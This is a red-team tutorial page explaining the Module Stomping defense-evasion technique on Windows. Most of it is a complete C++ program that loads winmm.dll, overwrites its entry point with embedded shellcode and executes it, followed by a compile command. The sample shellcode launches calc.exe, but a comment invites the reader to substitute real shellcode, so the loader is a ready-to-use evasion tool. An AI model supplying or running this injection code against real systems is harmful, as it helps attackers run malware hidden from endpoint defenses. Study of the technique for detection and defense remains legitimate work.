Module Stomping Shellcode Injection

Theory

Module Stomping is an advanced defense evasion technique where an attacker loads a legitimate DLL into memory and then overwrites its executable code (usually the .text section or entry point) with malicious shellcode. Since the DLL remains mapped in the process memory, traditional security tools might overlook the malicious modifications, assuming it is a legitimate module.

This technique is effective because:

  • The DLL remains registered in the PEB (Process Environment Block)

  • Memory scanners may not flag it as suspicious since it appears as a legitimate loaded module

  • Overwriting the .text section allows execution of arbitrary code

Execution Flow

  1. Injects some benign Windows DLL into a remote or local process

  2. Overwrites DLL's, loaded in step 1, AddressOfEntryPoint point with shellcode

  3. Starts a new thread in the target process at the benign DLL's entry point, where the shellcode has been written to, during step 2

Practice

The following code implements Module Stomping by loading the winmm.dll into the current process, and overwrite its .text section with our shellcode.

ModuleStomping.cpp
#include <iostream>
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <tchar.h>
#include <string>

// Add these typedefs and function declarations for the NT functions
typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    SIZE_T NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten
);

typedef NTSTATUS (NTAPI *pNtProtectVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    PSIZE_T RegionSize,
    ULONG NewProtect,
    PULONG OldProtect
);

typedef HMODULE (WINAPI *pLoadLibraryExW)(
    LPCWSTR lpLibFileName,
    HANDLE hFile,
    DWORD dwFlags
);

// Define NTSTATUS if not already defined
#ifndef NTSTATUS
typedef LONG NTSTATUS;
#endif

// Define DONT_RESOLVE_DLL_REFERENCES if not already defined
#ifndef DONT_RESOLVE_DLL_REFERENCES
#define DONT_RESOLVE_DLL_REFERENCES 0x00000001
#endif

DWORD WINAPI esc_main(LPVOID lpParameter)
{
    // Shellcode - replace with your actual shellcode
    // calc.exe
    unsigned char decoded[] = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};
    SIZE_T length = sizeof(decoded);

    // Load NT functions dynamically
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        std::cerr << "Failed to get handle to ntdll.dll" << std::endl;
        return 1;
    }
    
    pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
    
    if (!NtWriteVirtualMemory || !NtProtectVirtualMemory) {
        std::cerr << "Failed to get addresses of NT functions" << std::endl;
        return 1;
    }

    // Get handle to kernel32.dll to use LoadLibraryExW
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    if (!hKernel32) {
        std::cerr << "Failed to get handle to kernel32.dll" << std::endl;
        return 1;
    }

    pLoadLibraryExW LoadLibraryExW = (pLoadLibraryExW)GetProcAddress(hKernel32, "LoadLibraryExW");
    if (!LoadLibraryExW) {
        std::cerr << "Failed to get address of LoadLibraryExW" << std::endl;
        return 1;
    }

    // Choose a DLL to stomp - using a non-critical DLL
    const wchar_t* dllToStomp = L"winmm.dll";
    
    std::cout << "Loading a fresh copy of the DLL for stomping..." << std::endl;
    
    // Load a fresh copy of the DLL with DONT_RESOLVE_DLL_REFERENCES flag
    // This loads the DLL but doesn't execute its initialization routines
    HMODULE hModule = LoadLibraryExW(dllToStomp, NULL, DONT_RESOLVE_DLL_REFERENCES);
    
    if (!hModule) {
        std::cerr << "Failed to load module for stomping. Error: " << GetLastError() << std::endl;
        return 1;
    }

    // Get module information
    MODULEINFO moduleInfo;
    if (!GetModuleInformation(GetCurrentProcess(), hModule, &moduleInfo, sizeof(moduleInfo))) {
        std::cerr << "Failed to get module information. Error: " << GetLastError() << std::endl;
        FreeLibrary(hModule);
        return 1;
    }

    std::cout << "Successfully loaded module at address: 0x" << std::hex << moduleInfo.lpBaseOfDll << std::endl;
    std::cout << "Module size: " << std::dec << moduleInfo.SizeOfImage << " bytes" << std::endl;

    // Find the .text section to overwrite
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((BYTE*)moduleInfo.lpBaseOfDll + dosHeader->e_lfanew);
    
    // Find the entry point
    PVOID targetAddress = (PVOID)((BYTE*)moduleInfo.lpBaseOfDll + ntHeader->OptionalHeader.AddressOfEntryPoint);
    
    // If entry point is not suitable, use a fixed offset
    if (!targetAddress) {
        targetAddress = (PVOID)((BYTE*)moduleInfo.lpBaseOfDll + 0x1000); // Skip PE header
    }

    std::cout << "Target address for stomping: 0x" << std::hex << targetAddress << std::endl;

    // Change memory protection to allow writing
    HANDLE hProc = GetCurrentProcess();
    DWORD oldProtect = 0;
    PVOID baseAddress = targetAddress;
    SIZE_T regionSize = length;
    NTSTATUS status;

    status = NtProtectVirtualMemory(hProc, &baseAddress, &regionSize, PAGE_READWRITE, &oldProtect);
    if (status != 0) {
        std::cerr << "NtProtectVirtualMemory failed with status: " << std::hex << status << std::endl;
        FreeLibrary(hModule);
        return 1;
    }

    // Write shellcode to the module's memory
    SIZE_T bytesWritten = 0;
    status = NtWriteVirtualMemory(hProc, targetAddress, decoded, length, &bytesWritten);
    if (status != 0) {
        std::cerr << "NtWriteVirtualMemory failed with status: " << std::hex << status << std::endl;
        FreeLibrary(hModule);
        return 1;
    }

    std::cout << "Successfully wrote " << std::dec << bytesWritten << " bytes to the module" << std::endl;

    // Restore original memory protection
    status = NtProtectVirtualMemory(hProc, &baseAddress, &regionSize, PAGE_EXECUTE_READ, &oldProtect);
    if (status != 0) {
        std::cerr << "Failed to restore memory protection. Status: " << std::hex << status << std::endl;
        FreeLibrary(hModule);
        return 1;
    }

    std::cout << "Executing stomped module code..." << std::endl;

    // Execute the shellcode
    FARPROC stomped_func = (FARPROC)targetAddress;
    stomped_func();

    std::cout << "Execution completed" << std::endl;
    
    // Optionally free the library when done
    // FreeLibrary(hModule);
    
    return 0;
}

int main()
{
    esc_main(NULL);
    return 0;
} 

We can compile it from linux using following command

x86_64-w64-mingw32-g++ ModuleStomping.cpp -o ModuleStomping.exe -std=c++20 -static

Resources

Last updated

Was this helpful?